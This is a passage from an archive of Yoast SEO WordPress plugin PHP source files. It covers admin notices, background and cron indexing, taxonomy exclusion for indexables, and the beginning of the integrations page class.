	 * @return bool
	 */
	private function should_force_company() {
		return $this->addon_manager->is_installed( WPSEO_Addon_Manager::LOCAL_SLUG );
	}

	/**
	 * Checks if the current user has the capability to edit a specific user.
	 *
	 * @param int $person_id The id of the person to edit.
	 *
	 * @return bool
	 */
	private function can_edit_profile( $person_id ) {
		return \current_user_can( 'edit_user', $person_id );
	}
}
wordpress-seo/src/integrations/admin/indexing-notification-integration.php000064400000015710147510273100023274 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Addon_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Not_Admin_Ajax_Conditional;
use Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Environment_Helper;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Helpers\Notification_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Indexing_Failed_Notification_Presenter;
use Yoast\WP\SEO\Presenters\Admin\Indexing_Notification_Presenter;
use Yoast_Notification;
use Yoast_Notification_Center;

/**
 * Class Indexing_Notification_Integration.
 *
 * @package Yoast\WP\SEO\Integrations\Admin
 */
class Indexing_Notification_Integration implements Integration_Interface {

	/**
	 * The notification ID.
	 */
	public const NOTIFICATION_ID = 'wpseo-reindex';

	/**
	 * The Yoast notification center.
	 *
	 * @var Yoast_Notification_Center
	 */
	protected $notification_center;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	protected $product_helper;

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $page_helper;

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	protected $short_link_helper;

	/**
	 * The notification helper.
	 *
	 * @var Notification_Helper
	 */
	protected $notification_helper;

	/**
	 * The indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * The Addon Manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	protected $addon_manager;

	/**
	 * The Environment Helper.
	 *
	 * @var Environment_Helper
	 */
	protected $environment_helper;

	/**
	 * Indexing_Notification_Integration constructor.
	 *
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 * @param Product_Helper            $product_helper      The product helper.
	 * @param Current_Page_Helper       $page_helper         The current page helper.
	 * @param Short_Link_Helper         $short_link_helper   The short link helper.
	 * @param Notification_Helper       $notification_helper The notification helper.
	 * @param Indexing_Helper           $indexing_helper     The indexing helper.
	 * @param WPSEO_Addon_Manager       $addon_manager       The addon manager.
	 * @param Environment_Helper        $environment_helper  The environment helper.
	 */
	public function __construct(
		Yoast_Notification_Center $notification_center,
		Product_Helper $product_helper,
		Current_Page_Helper $page_helper,
		Short_Link_Helper $short_link_helper,
		Notification_Helper $notification_helper,
		Indexing_Helper $indexing_helper,
		WPSEO_Addon_Manager $addon_manager,
		Environment_Helper $environment_helper
	) {
		$this->notification_center = $notification_center;
		$this->product_helper      = $product_helper;
		$this->page_helper         = $page_helper;
		$this->short_link_helper   = $short_link_helper;
		$this->notification_helper = $notification_helper;
		$this->indexing_helper     = $indexing_helper;
		$this->addon_manager       = $addon_manager;
		$this->environment_helper  = $environment_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * Adds hooks and jobs to cleanup or add the notification when necessary.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->page_helper->get_current_yoast_seo_page() === 'wpseo_dashboard' ) {
			\add_action( 'admin_init', [ $this, 'maybe_cleanup_notification' ] );
		}

		if ( $this->indexing_helper->has_reason() ) {
			\add_action( 'admin_init', [ $this, 'maybe_create_notification' ] );
		}

		\add_action( self::NOTIFICATION_ID, [ $this, 'maybe_create_notification' ] );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [
			Admin_Conditional::class,
			Not_Admin_Ajax_Conditional::class,
			User_Can_Manage_Wpseo_Options_Conditional::class,
		];
	}

	/**
	 * Checks whether the notification should be shown and adds
	 * it to the notification center if this is the case.
	 *
	 * @return void
	 */
	public function maybe_create_notification() {
		if ( ! $this->should_show_notification() ) {
			return;
		}

		if ( ! $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ) ) {
			$notification = $this->notification();
			$this->notification_helper->restore_notification( $notification );
			$this->notification_center->add_notification( $notification );
		}
	}

	/**
	 * Checks whether the notification should not be shown anymore and removes
	 * it from the notification center if this is the case.
	 *
	 * @return void
	 */
	public function maybe_cleanup_notification() {
		$notification = $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID );

		if ( $notification === null ) {
			return;
		}

		if ( $this->should_show_notification() ) {
			return;
		}

		$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
	}

	/**
	 * Checks whether the notification should be shown.
	 *
	 * @return bool If the notification should be shown.
	 */
	protected function should_show_notification() {
		if ( ! $this->environment_helper->is_production_mode() ) {
			return false;
		}
		// Don't show a notification if the indexing has already been started earlier.
		if ( $this->indexing_helper->get_started() > 0 ) {
			return false;
		}

		// We're about to perform expensive queries, let's inform.
		\add_filter( 'wpseo_unindexed_count_queries_ran', '__return_true' );

		// Never show a notification when nothing should be indexed.
		return $this->indexing_helper->get_limited_filtered_unindexed_count( 1 ) > 0;
	}

	/**
	 * Returns an instance of the notification.
	 *
	 * @return Yoast_Notification The notification to show.
	 */
	protected function notification() {
		$reason = $this->indexing_helper->get_reason();

		$presenter = $this->get_presenter( $reason );

		return new Yoast_Notification(
			$presenter,
			[
				'type'         => Yoast_Notification::WARNING,
				'id'           => self::NOTIFICATION_ID,
				'capabilities' => 'wpseo_manage_options',
				'priority'     => 0.8,
			]
		);
	}

	/**
	 * Gets the presenter to use to show the notification.
	 *
	 * @param string $reason The reason for the notification.
	 *
	 * @return Indexing_Failed_Notification_Presenter|Indexing_Notification_Presenter
	 */
	protected function get_presenter( $reason ) {
		if ( $reason === Indexing_Reasons::REASON_INDEXING_FAILED ) {
			$presenter = new Indexing_Failed_Notification_Presenter( $this->product_helper, $this->short_link_helper, $this->addon_manager );
		}
		else {
			$total_unindexed = $this->indexing_helper->get_filtered_unindexed_count();
			$presenter       = new Indexing_Notification_Presenter( $this->short_link_helper, $total_unindexed, $reason );
		}

		return $presenter;
	}
}
wordpress-seo/src/integrations/admin/deactivated-premium-integration.php000064400000010331147510273100022726 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Non_Multisite_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Notice_Presenter;

/**
 * Deactivated_Premium_Integration class
 */
class Deactivated_Premium_Integration implements Integration_Interface {

	/**
	 * The options' helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class, Non_Multisite_Conditional::class ];
	}

	/**
	 * First_Time_Configuration_Notice_Integration constructor.
	 *
	 * @param Options_Helper            $options_helper      The options helper.
	 * @param WPSEO_Admin_Asset_Manager $admin_asset_manager The admin asset manager.
	 */
	public function __construct(
		Options_Helper $options_helper,
		WPSEO_Admin_Asset_Manager $admin_asset_manager
	) {
		$this->options_helper      = $options_helper;
		$this->admin_asset_manager = $admin_asset_manager;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_action( 'admin_notices', [ $this, 'premium_deactivated_notice' ] );
		\add_action( 'wp_ajax_dismiss_premium_deactivated_notice', [ $this, 'dismiss_premium_deactivated_notice' ] );
	}

	/**
	 * Shows a notice if premium is installed but not activated.
	 *
	 * @return void
	 */
	public function premium_deactivated_notice() {
		global $pagenow;
		if ( $pagenow === 'update.php' ) {
			return;
		}

		if ( $this->options_helper->get( 'dismiss_premium_deactivated_notice', false ) === true ) {
			return;
		}

		$premium_file = 'wordpress-seo-premium/wp-seo-premium.php';

		if ( ! \current_user_can( 'activate_plugin', $premium_file ) ) {
			return;
		}

		if ( $this->premium_is_installed_not_activated( $premium_file ) ) {
			$this->admin_asset_manager->enqueue_style( 'monorepo' );

			$content = \sprintf(
				/* translators: 1: Yoast SEO Premium 2: Link start tag to activate premium, 3: Link closing tag. */
				\__( 'You\'ve installed %1$s but it\'s not activated yet. %2$sActivate %1$s now!%3$s', 'wordpress-seo' ),
				'Yoast SEO Premium',
				'<a href="' . \esc_url(
					\wp_nonce_url(
						\self_admin_url( 'plugins.php?action=activate&plugin=' . $premium_file ),
						'activate-plugin_' . $premium_file
					)
				) . '">',
				'</a>'
			);
			// phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped above.
			echo new Notice_Presenter(
				/* translators: 1: Yoast SEO Premium */
				\sprintf( \__( 'Activate %1$s!', 'wordpress-seo' ), 'Yoast SEO Premium' ),
				$content,
				'support-team.svg',
				null,
				true,
				'yoast-premium-deactivated-notice'
			);
			// phpcs:enable

			// Enable permanently dismissing the notice.
			echo "<script>
                function dismiss_premium_deactivated_notice(){
                    var data = {
                    'action': 'dismiss_premium_deactivated_notice',
                    };

                    jQuery( '#yoast-premium-deactivated-notice' ).hide();
                    jQuery.post( ajaxurl, data, function( response ) {});
                }

                jQuery( document ).ready( function() {
                    jQuery( 'body' ).on( 'click', '#yoast-premium-deactivated-notice .notice-dismiss', function() {
                        dismiss_premium_deactivated_notice();
                    } );
                } );
            </script>";
		}
	}

	/**
	 * Dismisses the premium deactivated notice.
	 *
	 * @return bool
	 */
	public function dismiss_premium_deactivated_notice() {
		return $this->options_helper->set( 'dismiss_premium_deactivated_notice', true );
	}

	/**
	 * Returns whether or not premium is installed and not activated.
	 *
	 * @param string $premium_file The premium file.
	 *
	 * @return bool Whether or not premium is installed and not activated.
	 */
	protected function premium_is_installed_not_activated( $premium_file ) {
		return (
			! \defined( 'WPSEO_PREMIUM_FILE' )
			&& \file_exists( \WP_PLUGIN_DIR . '/' . $premium_file )
		);
	}
}
wordpress-seo/src/integrations/admin/first-time-configuration-notice-integration.php000064400000011772147510273100025216 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\First_Time_Configuration_Notice_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Notice_Presenter;

/**
 * First_Time_Configuration_Notice_Integration class
 */
class First_Time_Configuration_Notice_Integration implements Integration_Interface {

	/**
	 * The options' helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * The first time configuration notice helper.
	 *
	 * @var First_Time_Configuration_Notice_Helper
	 */
	private $first_time_configuration_notice_helper;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * First_Time_Configuration_Notice_Integration constructor.
	 *
	 * @param Options_Helper                         $options_helper                         The options helper.
	 * @param First_Time_Configuration_Notice_Helper $first_time_configuration_notice_helper The first time configuration notice helper.
	 * @param WPSEO_Admin_Asset_Manager              $admin_asset_manager                    The admin asset manager.
	 */
	public function __construct(
		Options_Helper $options_helper,
		First_Time_Configuration_Notice_Helper $first_time_configuration_notice_helper,
		WPSEO_Admin_Asset_Manager $admin_asset_manager
	) {
		$this->options_helper                         = $options_helper;
		$this->admin_asset_manager                    = $admin_asset_manager;
		$this->first_time_configuration_notice_helper = $first_time_configuration_notice_helper;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_action( 'wp_ajax_dismiss_first_time_configuration_notice', [ $this, 'dismiss_first_time_configuration_notice' ] );
		\add_action( 'admin_notices', [ $this, 'first_time_configuration_notice' ] );
	}

	/**
	 * Dismisses the First-time configuration notice.
	 *
	 * @return bool
	 */
	public function dismiss_first_time_configuration_notice() {
		// Check for nonce.
		if ( ! \check_ajax_referer( 'wpseo-dismiss-first-time-configuration-notice', 'nonce', false ) ) {
			return false;
		}
		return $this->options_helper->set( 'dismiss_configuration_workout_notice', true );
	}

	/**
	 * Determines whether and where the "First-time SEO Configuration" admin notice should be displayed.
	 *
	 * @return bool Whether the "First-time SEO Configuration" admin notice should be displayed.
	 */
	public function should_display_first_time_configuration_notice() {
		return $this->first_time_configuration_notice_helper->should_display_first_time_configuration_notice();
	}

	/**
	 * Displays an admin notice when the first-time configuration has not been finished yet.
	 *
	 * @return void
	 */
	public function first_time_configuration_notice() {
		if ( ! $this->should_display_first_time_configuration_notice() ) {
			return;
		}

		$this->admin_asset_manager->enqueue_style( 'monorepo' );

		$title    = $this->first_time_configuration_notice_helper->get_first_time_configuration_title();
		$link_url = \esc_url( \self_admin_url( 'admin.php?page=wpseo_dashboard#/first-time-configuration' ) );

		if ( ! $this->first_time_configuration_notice_helper->should_show_alternate_message() ) {
			$content = \sprintf(
				/* translators: 1: Link start tag to the first-time configuration, 2: Yoast SEO, 3: Link closing tag. */
				\__( 'Get started quickly with the %1$s%2$s First-time configuration%3$s and configure Yoast SEO with the optimal SEO settings for your site!', 'wordpress-seo' ),
				'<a href="' . $link_url . '">',
				'Yoast SEO',
				'</a>'
			);
		}
		else {
			$content = \sprintf(
				/* translators: 1: Link start tag to the first-time configuration, 2: Link closing tag. */
				\__( 'We noticed that you haven\'t fully configured Yoast SEO yet. Optimize your SEO settings even further by using our improved %1$s First-time configuration%2$s.', 'wordpress-seo' ),
				'<a href="' . $link_url . '">',
				'</a>'
			);
		}

		$notice = new Notice_Presenter(
			$title,
			$content,
			'mirrored_fit_bubble_woman_1_optim.svg',
			null,
			true,
			'yoast-first-time-configuration-notice'
		);

		//phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output from present() is considered safe.
		echo $notice->present();

		// Enable permanently dismissing the notice.
		echo '<script>
				jQuery( document ).ready( function() {
					jQuery( "body" ).on( "click", "#yoast-first-time-configuration-notice .notice-dismiss", function() {
						jQuery( "#yoast-first-time-configuration-notice" ).hide();
						const data = {
							"action": "dismiss_first_time_configuration_notice",
							"nonce": "' . \esc_js( \wp_create_nonce( 'wpseo-dismiss-first-time-configuration-notice' ) ) . '"
						};
						jQuery.post( ajaxurl, data, function( response ) {});
					} );
				} );
				</script>';
	}
}
wordpress-seo/src/integrations/admin/indexables-exclude-taxonomy-integration.php000064400000002613147510273100024422 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Indexables_Exclude_Taxonomy_Integration class
 */
class Indexables_Exclude_Taxonomy_Integration implements Integration_Interface {

	use No_Conditionals;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Indexables_Exclude_Taxonomy_Integration constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_indexable_excluded_taxonomies', [ $this, 'exclude_taxonomies_for_indexation' ] );
	}

	/**
	 * Exclude the taxonomy from the indexable table.
	 *
	 * @param array $excluded_taxonomies The excluded taxonomies.
	 *
	 * @return array The excluded taxonomies, including specific taxonomies.
	 */
	public function exclude_taxonomies_for_indexation( $excluded_taxonomies ) {
		$taxonomies_to_exclude = \array_merge( $excluded_taxonomies, [ 'wp_pattern_category' ] );

		if ( $this->options_helper->get( 'disable-post_format', false ) ) {
			return \array_merge( $taxonomies_to_exclude, [ 'post_format' ] );
		}

		return $taxonomies_to_exclude;
	}
}
wordpress-seo/src/integrations/admin/background-indexing-integration.php000064400000025404147510273100022726 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Actions\Indexing\Indexable_Indexing_Complete_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexation_Action_Interface;
use Yoast\WP\SEO\Conditionals\Get_Request_Conditional;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Conditionals\WP_CRON_Enabled_Conditional;
use Yoast\WP\SEO\Conditionals\Yoast_Admin_And_Dashboard_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Background_Indexing_Integration.
 *
 * @package Yoast\WP\SEO\Integrations\Admin
 */
class Background_Indexing_Integration implements Integration_Interface {

	/**
	 * Represents the indexing completed action.
	 *
	 * @var Indexable_Indexing_Complete_Action
	 */
	protected $complete_indexation_action;

	/**
	 * Represents the indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * An object that checks if we are on the Yoast admin or on the dashboard page.
	 *
	 * @var Yoast_Admin_And_Dashboard_Conditional
	 */
	protected $yoast_admin_and_dashboard_conditional;

	/**
	 * All available indexing actions.
	 *
	 * @var Indexation_Action_Interface[]
	 */
	protected $indexing_actions;

	/**
	 * An object that checks if we are handling a GET request.
	 *
	 * @var Get_Request_Conditional
	 */
	private $get_request_conditional;

	/**
	 * An object that checks if WP_CRON is enabled.
	 *
	 * @var WP_CRON_Enabled_Conditional
	 */
	private $wp_cron_enabled_conditional;

	/**
	 * The indexable helper
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Shutdown_Indexing_Integration constructor.
	 *
	 * @param Indexable_Indexing_Complete_Action    $complete_indexation_action            The complete indexing action.
	 * @param Indexing_Helper                       $indexing_helper                       The indexing helper.
	 * @param Indexable_Helper                      $indexable_helper                      The indexable helper.
	 * @param Yoast_Admin_And_Dashboard_Conditional $yoast_admin_and_dashboard_conditional An object that checks if we are on the Yoast admin or on the dashboard page.
	 * @param Get_Request_Conditional               $get_request_conditional               An object that checks if we are handling a GET request.
	 * @param WP_CRON_Enabled_Conditional           $wp_cron_enabled_conditional           An object that checks if WP_CRON is enabled.
	 * @param Indexation_Action_Interface           ...$indexing_actions                   A list of all available indexing actions.
	 */
	public function __construct(
		Indexable_Indexing_Complete_Action $complete_indexation_action,
		Indexing_Helper $indexing_helper,
		Indexable_Helper $indexable_helper,
		Yoast_Admin_And_Dashboard_Conditional $yoast_admin_and_dashboard_conditional,
		Get_Request_Conditional $get_request_conditional,
		WP_CRON_Enabled_Conditional $wp_cron_enabled_conditional,
		Indexation_Action_Interface ...$indexing_actions
	) {
		$this->indexing_actions                      = $indexing_actions;
		$this->complete_indexation_action            = $complete_indexation_action;
		$this->indexing_helper                       = $indexing_helper;
		$this->indexable_helper                      = $indexable_helper;
		$this->yoast_admin_and_dashboard_conditional = $yoast_admin_and_dashboard_conditional;
		$this->get_request_conditional               = $get_request_conditional;
		$this->wp_cron_enabled_conditional           = $wp_cron_enabled_conditional;
	}

	/**
	 * Returns the conditionals based on which this integration should be active.
	 *
	 * @return array The array of conditionals.
	 */
	public static function get_conditionals() {
		return [
			Migrations_Conditional::class,
		];
	}

	/**
	 * Register hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'register_shutdown_indexing' ] );
		\add_action( 'wpseo_indexable_index_batch', [ $this, 'index' ] );
		// phpcs:ignore WordPress.WP.CronInterval -- The sniff doesn't understand values with parentheses. https://github.com/WordPress/WordPress-Coding-Standards/issues/2025
		\add_filter( 'cron_schedules', [ $this, 'add_cron_schedule' ] );
		\add_action( 'admin_init', [ $this, 'schedule_cron_indexing' ], 11 );

		$this->add_limit_filters();
	}

	/**
	 * Adds the filters that change the indexing limits.
	 *
	 * @return void.
	 */
	public function add_limit_filters() {
		\add_filter( 'wpseo_post_indexation_limit', [ $this, 'throttle_cron_indexing' ] );
		\add_filter( 'wpseo_post_type_archive_indexation_limit', [ $this, 'throttle_cron_indexing' ] );
		\add_filter( 'wpseo_term_indexation_limit', [ $this, 'throttle_cron_indexing' ] );
		\add_filter( 'wpseo_prominent_words_indexation_limit', [ $this, 'throttle_cron_indexing' ] );
		\add_filter( 'wpseo_link_indexing_limit', [ $this, 'throttle_cron_link_indexing' ] );
	}

	/**
	 * Enqueues the required scripts.
	 *
	 * @return void
	 */
	public function register_shutdown_indexing() {
		if ( $this->should_index_on_shutdown( $this->get_shutdown_limit() ) ) {
			$this->register_shutdown_function( 'index' );
		}
	}

	/**
	 * Run a single indexing pass of each indexing action. Intended for use as a shutdown function.
	 *
	 * @return void
	 */
	public function index() {
		if ( \wp_doing_cron() && ! $this->should_index_on_cron() ) {
			$this->unschedule_cron_indexing();

			return;
		}

		foreach ( $this->indexing_actions as $indexation_action ) {
			$indexation_action->index();
		}

		if ( $this->indexing_helper->get_limited_filtered_unindexed_count_background( 1 ) === 0 ) {
			// We set this as complete, even though prominent words might not be complete. But that's the way we always treated that.
			$this->complete_indexation_action->complete();
		}
	}

	/**
	 * Adds the 'Every fifteen minutes' cron schedule to WP-Cron.
	 *
	 * @param array $schedules The existing schedules.
	 *
	 * @return array The schedules containing the fifteen_minutes schedule.
	 */
	public function add_cron_schedule( $schedules ) {
		if ( ! \is_array( $schedules ) ) {
			return $schedules;
		}

		$schedules['fifteen_minutes'] = [
			'interval' => ( 15 * \MINUTE_IN_SECONDS ),
			'display'  => \esc_html__( 'Every fifteen minutes', 'wordpress-seo' ),
		];

		return $schedules;
	}

	/**
	 * Schedule background indexing every 15 minutes if the index isn't already up to date.
	 *
	 * @return void
	 */
	public function schedule_cron_indexing() {
		/**
		 * Filter: 'wpseo_unindexed_count_queries_ran' - Informs whether the expensive unindexed count queries have been ran already.
		 *
		 * @internal
		 *
		 * @param bool $have_queries_ran
		 */
		$have_queries_ran = \apply_filters( 'wpseo_unindexed_count_queries_ran', false );

		if ( ( ! $this->yoast_admin_and_dashboard_conditional->is_met() || ! $this->get_request_conditional->is_met() ) && ! $have_queries_ran ) {
			return;
		}

		if ( ! \wp_next_scheduled( 'wpseo_indexable_index_batch' ) && $this->should_index_on_cron() ) {
			\wp_schedule_event( ( \time() + \HOUR_IN_SECONDS ), 'fifteen_minutes', 'wpseo_indexable_index_batch' );
		}
	}

	/**
	 * Limit cron indexing to 15 indexables per batch instead of 25.
	 *
	 * @param int $indexation_limit The current limit (filter input).
	 *
	 * @return int The new batch limit.
	 */
	public function throttle_cron_indexing( $indexation_limit ) {
		if ( \wp_doing_cron() ) {
			/**
			 * Filter: 'wpseo_cron_indexing_limit_size' - Adds the possibility to limit the number of items that are indexed when in cron action.
			 *
			 * @param int $limit Maximum number of indexables to be indexed per indexing action.
			 */
			return \apply_filters( 'wpseo_cron_indexing_limit_size', 15 );
		}

		return $indexation_limit;
	}

	/**
	 * Limit cron indexing to 3 links per batch instead of 5.
	 *
	 * @param int $link_indexation_limit The current limit (filter input).
	 *
	 * @return int The new batch limit.
	 */
	public function throttle_cron_link_indexing( $link_indexation_limit ) {
		if ( \wp_doing_cron() ) {
			/**
			 * Filter: 'wpseo_cron_link_indexing_limit_size' - Adds the possibility to limit the number of links that are indexed when in cron action.
			 *
			 * @param int $limit Maximum number of link indexables to be indexed per link indexing action.
			 */
			return \apply_filters( 'wpseo_cron_link_indexing_limit_size', 3 );
		}

		return $link_indexation_limit;
	}

	/**
	 * Determine whether cron indexation should be performed.
	 *
	 * @return bool Should cron indexation be performed.
	 */
	protected function should_index_on_cron() {
		if ( ! $this->indexable_helper->should_index_indexables() ) {
			return false;
		}

		// The filter supersedes everything when preventing cron indexation.
		if ( \apply_filters( 'Yoast\WP\SEO\enable_cron_indexing', true ) !== true ) {
			return false;
		}

		return $this->indexing_helper->get_limited_filtered_unindexed_count_background( 1 ) > 0;
	}

	/**
	 * Determine whether background indexation should be performed.
	 *
	 * @param int $shutdown_limit The shutdown limit used to determine whether indexation should be run.
	 *
	 * @return bool Should background indexation be performed.
	 */
	protected function should_index_on_shutdown( $shutdown_limit ) {
		if ( ! $this->yoast_admin_and_dashboard_conditional->is_met() || ! $this->get_request_conditional->is_met() ) {
			return false;
		}

		if ( ! $this->indexable_helper->should_index_indexables() ) {
			return false;
		}

		if ( $this->wp_cron_enabled_conditional->is_met() ) {
			return false;
		}

		$total_unindexed = $this->indexing_helper->get_limited_filtered_unindexed_count_background( $shutdown_limit );
		if ( $total_unindexed === 0 || $total_unindexed > $shutdown_limit ) {
			return false;
		}

		return true;
	}

	/**
	 * Retrieves the shutdown limit. This limit is the amount of indexables that is generated in the background.
	 *
	 * @return int The shutdown limit.
	 */
	protected function get_shutdown_limit() {
		/**
		 * Filter 'wpseo_shutdown_indexation_limit' - Allow filtering the number of objects that can be indexed during shutdown.
		 *
		 * @param int $limit The maximum number of objects indexed.
		 */
		return \apply_filters( 'wpseo_shutdown_indexation_limit', 25 );
	}

	/**
	 * Removes the cron indexing job from the scheduled event queue.
	 *
	 * @return void
	 */
	protected function unschedule_cron_indexing() {
		$scheduled = \wp_next_scheduled( 'wpseo_indexable_index_batch' );
		if ( $scheduled ) {
			\wp_unschedule_event( $scheduled, 'wpseo_indexable_index_batch' );
		}
	}

	/**
	 * Registers a method to be executed on shutdown.
	 * This wrapper mostly exists for making this class more unittestable.
	 *
	 * @param string $method_name The name of the method on the current instance to register.
	 *
	 * @return void
	 */
	protected function register_shutdown_function( $method_name ) {
		\register_shutdown_function( [ $this, $method_name ] );
	}
}
wordpress-seo/src/integrations/admin/integrations-page.php000064400000017472147510273100020111 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Easy_Digital_Downloads;
use SeriouslySimplePodcasting\Integrations\Yoast\Schema\PodcastEpisode;
use TEC\Events\Integrations\Plugins\WordPress_SEO\Events_Schema;
use WP_Recipe_Maker;
use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Jetpack_Conditional;
use Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Activated_Conditional;


use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Woocommerce_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Integrations_Page class
 */
class Integrations_Page implements Integration_Interface {

	/**
	 * The Woocommerce helper.
	 *
	 * @var Woocommerce_Helper
	 */
	private $woocommerce_helper;

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Workouts_Integration constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager $admin_asset_manager The admin asset manager.
	 * @param Options_Helper            $options_helper      The options helper.
	 * @param Woocommerce_Helper        $woocommerce_helper  The WooCommerce helper.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $admin_asset_manager,
		Options_Helper $options_helper,
		Woocommerce_Helper $woocommerce_helper
	) {
		$this->admin_asset_manager = $admin_asset_manager;
		$this->options_helper      = $options_helper;
		$this->woocommerce_helper  = $woocommerce_helper;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_submenu_page' ], 10 );
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ], 11 );
	}

	/**
	 * Adds the integrations submenu page.
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array The filtered submenu pages.
	 */
	public function add_submenu_page( $submenu_pages ) {
		$integrations_page = [
			'wpseo_dashboard',
			'',
			\__( 'Integrations', 'wordpress-seo' ),
			'wpseo_manage_options',
			'wpseo_integrations',
			[ $this, 'render_target' ],
		];

		\array_splice( $submenu_pages, 1, 0, [ $integrations_page ] );

		return $submenu_pages;
	}

	/**
	 * Enqueue the integrations app.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
		if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_integrations' ) {
			return;
		}

		$this->admin_asset_manager->enqueue_style( 'admin-css' );
		$this->admin_asset_manager->enqueue_style( 'tailwind' );
		$this->admin_asset_manager->enqueue_style( 'monorepo' );

		$this->admin_asset_manager->enqueue_script( 'integrations-page' );

		$elementor_conditional = new Elementor_Activated_Conditional();
		$jetpack_conditional   = new Jetpack_Conditional();

		$woocommerce_seo_file = 'wpseo-woocommerce/wpseo-woocommerce.php';
		$acf_seo_file         = 'acf-content-analysis-for-yoast-seo/yoast-acf-analysis.php';
		$acf_seo_file_github  = 'yoast-acf-analysis/yoast-acf-analysis.php';
		$algolia_file         = 'wp-search-with-algolia/algolia.php';
		$old_algolia_file     = 'search-by-algolia-instant-relevant-results/algolia.php';

		$addon_manager             = new WPSEO_Addon_Manager();
